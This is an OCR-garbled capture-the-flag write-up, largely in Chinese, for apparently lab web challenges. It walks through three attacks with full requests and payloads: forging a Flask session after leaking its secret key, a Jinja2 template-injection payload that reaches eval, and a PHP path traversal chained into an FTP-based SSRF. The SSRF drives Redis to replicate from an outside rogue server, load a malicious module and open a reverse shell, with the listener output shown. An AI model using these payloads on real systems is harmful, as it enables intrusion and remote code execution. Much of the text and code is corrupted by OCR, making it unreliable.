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Sorry, You don’t admin!!!<{/— /getkey —>

HITEREAE) /home KIARadminfR, B /getkey BEH, TcEEBCHIsessionIE

session=eyJhZG1pbil6ZmFsc2UsInVzZXJuYW1lljoiMTExIN0.YgPSyQ.NLHYolAD9imeelLWrQ20qsdUeo_U
{"admin":false,'username™:"111"}
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< C @ O 8 47.98.170.59:8989/getkey
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@app.route('/getkey’, methods=["GET"]) def getkey(): if request. method = "GET": session["key"]=SECRET KEY

318 /getkey KEANRBEZICGETIERK, (BREREPUNRIEKGEARNGET, NATLZKEkeyZEH, X
BiBTHEADIBE KT ET LK BIZZA AT LAEEHTTP/1.1: Method Definitions )

eyJrZXkiOiJINDIINDJIYiOxZDEyLTQ5NGMtODVhNITIOTZiYTQ2MDFIODAIfQ.YgPUBA.hC3-zbMIbuKmIPj TBVAJYdsBgR8
{"key":"e49b42bb-1d12-494c-85a6-e96ha4601e80"}

153R15M0sessionfEFE—FHTHRIDTR Skey B9e49b42bb-1d12-494c-85a6-e96ba4601e80, 2R/EH!
Rl AfmiEsession{a

from flask import *
app = Flask(__name__)
app.config['SECRET_KEY'] = "e49b42bb-1d12-494c-85a6-e96ba4601e80"

@app.route("/",methods=["'GET', 'POST"'])

def login(Q):
session['admin'] = True
session['username'] = 'atao'
return 'atao'

if _name__ == "_main__":
app.runChost="'0.0.0.0", port=8000)
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https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
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atao
[® O inspector [ Console [ Debugger T Metwork {} StyleEditor (2 Performance 43k Memory [ Storage T Accessibility 3§ What's New 0] e X%

Il @ @ Al HTML CSS5 JS XHR Fonts Images Media Ws Other  [[Dissblecache  NoThrottlings g

Method ~ Domain Initiator Transferred Size [l Headers Cookies Request Response Cache Timings  Stack Trace
GET & 127.0.0.1:8000 vice : 2328 v Block Resend
GET @ 127.0.0.1:8000 / document html 2888 48 484 NOT FOUND
HTTPILO

232 B (232 Bsize)

~ Response Headers (161 B) Raw
Content-Length: 232
Content- t/html; charset=utf-8
Date: Wed, 09 Feb 2022 14:55:32 GMT

Werkzeug/L.0.1 Python/3.9.9

~ Request Headers (342 B) Raw

Serve

image/webp,*/*

aaip, deflate
en-US,emq=05
keep-alive

of n=eylhZG1pbilsdH 1ZSwidXNlemShbWUIOihdGFVIN0.YgPWVA SSTFOKy2Z90
NHpVskSUBAZ3fPG4
Host: 127.0.0.1:8000

5 _Esessioniz|a) /home R

Request Response
Pretty IRCI"M \n Actions v Raw Render \n Actions v
1 GET /heme HTTP/1.1 1 HTTP/1.0 200 OK
2 Host: 47.98.170.59:8989 2 Content-Type: text/html; charset=utf-8
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4: x64; rv:96.0) 3 Content—Length: 417
Gecko/20100101 Firefox/96.0 4 Vary: Cookie
4 Accept: 5 Server: Werkzeug/2.0.2 Python/3.8.0
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/we 6 Date: Wed, 09 Feb 2022 15:00:14 GMT
bp, */%:9=0.8 7
5 Accept-Language: 8 @app. route (' /flllaaagegg', methods=['GET', 'POST'])
zh=CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK;q=0. 5, en-US;g=0. 3, en;g=0. 2 9 def 'fI | laaaggg () -
6 Accept-Encoding: gzip, deflate 10 f =
7 Connection: close 11 try:
8 Gookie: session= 12 f1 = open('/flag’, 'rw')
eyJhZG1pbi|6dHJ1ZSwidXN|cm5hbWUi0i JhdGFv In0. YgPWvA. sSTFOKy2Z90NHpVsk5UBAz 13 f = f1.read()
3fPG4 14 flowrite("")
9 Upgrade—Insecure—-Requests: 1 15 except:
10 16 pass
11 17 template = "'
18 if request.args.get("flag') and 'f' not in request.args. get('flag'):
19 key = request. args. get ("flag")
20 template = '<hi>
Hello, %s!
</h1>
"% key

SFKE— N BHUNRERRE, XBE—MEERISSTI, [REMISEE, EEflagNEEflagSUEmiH
k&Y, FRLAEBEE—XIEKTIRElag, EEPflagRSEifrender_template_stringiRE+fy, B
LT £,

RBEBAREEEEY {{f}} 8FE {¥print %} FUAGNIRENflag, XBEEEZERApython/ERIFHEREL
locals O IREXNHBEHERR THEZE, MimikEXflag

ExfePayloadd ™

http://xxx/f111aaaggg?flag={{[].__class__.__bases__[0].__subclasses__()
[80].__init__.__globals__['__builtins__"']J['eval']('locals()')}}



Request Response

Pretty BGENE \n Actions v Raw Render \n Actions v
1 GET /flllaaageg?flag= 1
{{[]. _class__. __bases__[0]. __subclasses__()[80]. _init__.__globals__['__ 2
builtins_ 'J['eval']("locals()')}} HTTP/1.1 3
2 Host: 47.98.170.59:8989 4
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:96.0) 5
Gecko/20100101 Firefox/96.0 6
4 Accept: 7
text/html, application/xhtml+xml, application/xml;q=0.9, image‘avif, image/we m at Ox7f7dbb627ab608gt;, &#39;cycler&#39;: &It;cla
bp, *¥/%;0=0.8 ATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_C
5 Accept-Language: E_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE
zh=CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK;g=0. 5, en-US;q=0. 3, en;q=0. 2 ;application/json&#39;, &#39:TEMPLATES_AUTO_RELOAC
6 Accept—Encoding: gzip, deflate 39:&gt;, &#39;flagd#39;: &#39;flag[123456)\n&#39:}
7 Connection: close
2 Cookie: session=
eyJhZG1pbil6dHJ1ZSwidXNIem5hbWUi0iJhdGFv In0. YgPWvA. sSTFOKy2Z90NHpVsk5UBAz
3fPG4
9 Upgrade—Insecure-Requests: 1
10

php_redis
Fe: HHEEN. ftp¥TredishRs3. redisENSHI
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Request Response

Pretty \n Actions v

Raw Render \n Actions v

1 GET /read.php?f=12. jpok_=1644419584518 HTTP/1.1 4 1 HTTP/1.1 200 0K

2 Host: 192.168.80.128:8989 r 2 Date: Wed, 09 Feb 202215:14: 29 GMT

3 User-Agent: Mozilla/5.0 (X11: Linux xB6_64; rv:78. 0) Gecko /20100101 Firefox/78.0 2 Server: Apache/2.4.41 (Ubuntu)

4 Accept: k/¥ 4 Content-Length: 37

5 Accept-Language: en-US,enig=0.5 S Connection: close

& Accept-Encoding: gzip, deflate 5 Content-Type: text/html; charset=UTF-8

Content-Type: application/x-www-form-urlencoded
& X-Requested-With: ¥MLHttpRequest

S Connection: close

10 Referer: http://192.168.80.128:8983/

@

file not exists<!-- /?source --=</br=>

SR HERIEE, AT LUEEURES, EEUERYPayloadf
http://xxx/read.php?f=.%00%00./%00.%00%00./var/www/html/upload.php

EHupload.phpiBERE/EE0 T~


af://n58

<?php

if(isset($_FILES['file']["'name'])){
$name = "/tmp/image/".explode(".",$_FILES['file']['name'])[0];
$filename = (isset($_GET['jpgname']))?$_GET['jpgname']:$name;
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
file_put_contents($filename.".jpg", $filecontent);
die("file upload success!");

}else{
die("NoNoNo!upload file");

}

?>

XA LABBENEFEftp i AEEMES, FTRedisiRSS

H5t/E5] sudo python3 ftp.py IBE{AftoikSsEs

EERE— MhredisiIg<7 sudo python2 RogueServer.py --Iport 1080 --exp exp.so
RS - EMERSofHF

POST /upload.php?jpgname=ftp://atao@47.98.170.59:8989/atao HTTP/1.1

HOSt: XX.XX.XX.XX:8989

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

-32378980258671142561813300757
Content-Length: 513

origin: http://192.168.80.128:8989
Connection: close

Referer: http://192.168.80.128:8989/
Upgrade-Insecure-Requests: 1

————————————————————————————— 32378980258671142561813300757
content-Disposition: form-data; name="file"; filename="1"
content-Type: application/octet-stream

*4
$6

config

$3

set

$3

dir

$10
/tmp/image
*4

$6

config

$3

set

$10
dbfilename



$9
moduTe.so
* l

$7
flushdb

* 3

$7
slaveof
$12
47.98.170.59
$4

1080

————————————————————————————— 32378980258671142561813300757
Content-Disposition: form-data; name="submit"

————————————————————————————— 32378980258671142561813300757 -

32 - MEksoXHF I Eshel (BT FEEHNY, FILAFESHAX, FIRNFEZER ftp.py)

POST /upload.php?jpgname=ftp://atao@47.98.170.59:8989/atao HTTP/1.1

HOost: XX.XX.xx.xx:8989

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

-32378980258671142561813300757
Content-Length: 513

origin: http://192.168.80.128:8989
Connection: close

Referer: http://192.168.80.128:8989/
Upgrade-Insecure-Requests: 1

————————————————————————————— 32378980258671142561813300757
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: application/octet-stream

8

$6

module

$4

Toad

$20
/tmp/image/module.so
g

$10

system.rev

$14
192.168.80.128
$4

9999



————————————————————————————— 32378980258671142561813300757
Content-Disposition: form-data; name="submit"

----------------------------- 32378980258671142561813300757--

: 9999
listening on [any] 9999
connect to [192.168.80.128] from (UNKNOWN) [172.25.08.2] 38246
1s
1.jpg
module.so
1s /
bin
boot
dev
etc

flllllaaaaag
home

lib

1ib32
libé
libx32
media
mnt
opt
proc
root
run
run.sh
sbin

sIv

flllllaaaaag

fll1llla i: Mo such file or directory
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